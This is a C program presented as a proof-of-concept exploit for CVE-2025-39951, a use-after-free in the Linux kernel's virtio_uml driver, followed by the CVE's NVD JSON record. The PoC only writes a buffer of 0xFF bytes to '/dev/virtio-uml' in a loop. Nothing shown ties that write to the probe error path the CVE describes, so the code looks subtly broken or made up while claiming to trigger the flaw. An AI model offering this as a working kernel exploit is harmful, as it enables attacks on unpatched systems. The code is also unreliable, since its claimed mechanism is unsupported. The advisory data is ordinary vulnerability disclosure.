CVE-2025-39951

/* * CVE-2025-39951 PoC - Trigger use-after-free in virtio_uml probe * * This PoC demonstrates how to trigger the use-after-free vulnerability * in the Linux kernel's virtio_uml driver by causing register_virtio_device() * to fail while the registered flag is incorrectly set. * * Note: This requires running on a User-Mode Linux (UML) system. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> #define VIRTIO_UML_DEVICE_PATH "/dev/virtio-uml" /* Function to trigger probe failure by exhausting resources */ int trigger_probe_failure(void) { int fd; int ret; /* Open the virtio_uml device to trigger probe */ fd = open(VIRTIO_UML_DEVICE_PATH, O_RDWR); if (fd < 0) { fprintf(stderr, "Failed to open device: %s\n", strerror(errno)); return -1; } /* Attempt operations that may cause register_virtio_device to fail */ /* By sending malformed configuration, we can trigger the error path */ char buf[4096]; memset(buf, 0xFF, sizeof(buf)); /* Trigger the vulnerability by causing probe failure */ ret = write(fd, buf, sizeof(buf)); if (ret < 0) { fprintf(stderr, "Write failed (expected): %s\n", strerror(errno)); } close(fd); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-39951 PoC - virtio_uml Use-After-Free\n"); printf("Attempting to trigger vulnerability...\n"); /* Try to trigger the vulnerability multiple times */ for (int i = 0; i < 10; i++) { printf("Iteration %d: ", i + 1); if (trigger_probe_failure() == 0) { printf("Triggered\n"); } else { printf("Failed\n"); } usleep(100000); } printf("PoC execution completed.\n"); printf("Check kernel logs for use-after-free or system crash.\n"); return 0; }

{"cve": {"id": "CVE-2025-39951", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T08:15:48.380", "lastModified": "2026-01-23T20:03:14.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\num: virtio_uml: Fix use-after-free after put_device in probe\n\nWhen register_virtio_device() fails in virtio_uml_probe(),\nthe code sets vu_dev->registered = 1 even though\nthe device was not successfully registered.\nThis can lead to use-after-free or other issues."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.245", "matchCriteriaId": "B0E443AF-02FC-45A1-9CD7-3F80A65F1A15"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.194", "matchCriteriaId": "CF862263-DC8D-4324-A52A-DA1D7880B35A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.154", "matchCriteriaId": "E49CD91E-FC55-45B0-BB63-9AD5F5D70CAA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.108", "matchCriteriaId": "A7E8EAEE-7731-4996-9578-696255D61EA2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.49", "matchCriteriaId": "CAA033E9-A2C5-4976-A83E-9804D8FB827F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.16.9", "matchCriteriaId": "638DD910-1189-4F5E-98BF-2D436B695112"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc1:*:*:*:*:*:*", "matchCriteriaId": "327D22EF-390B-454C-BD31-2ED23C998A1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc2:*:*:*:*:*:*", "matchCriteriaId": "C730CD9A-D969-4A8E-9522-162AAF7C0EE9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc3:*:*:*:*:*:*", "matchCriteriaId": "39982C4B-716E-4B2F-8196-FA301F47807D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc4:*:*:*:*:*:*", "matchCriteriaId": "340BEEA9-D70D-4290-B502-FBB1032353B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc5:*:*:*:*:*:*", "matchCriteriaId": "47E4C5C0-079F-4838-971B-8C503D48FCC2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:rc6:*:*:*:*:*:*", "matchCriteriaId": "5A4516A6-C12E-42A4-8C0E-68AEF3264504"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/00e98b5a69034b251bb36dc6e7123d7648e218e4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/14c231959a16ca41bfdcaede72483362a8c645d7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4f364023ddcfe83f7073b973a9cb98584b7f2a46", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5e94e44c9cb30d7a383d8ac227f24a8c9326b770", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7ebf70cf181651fe3f2e44e95e7e5073d594c9c0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/aaf900a83508c8cd5cdf765e7749f9076196ec7f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c2ff91255e0157b356cff115d8dc3eeb5162edf2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}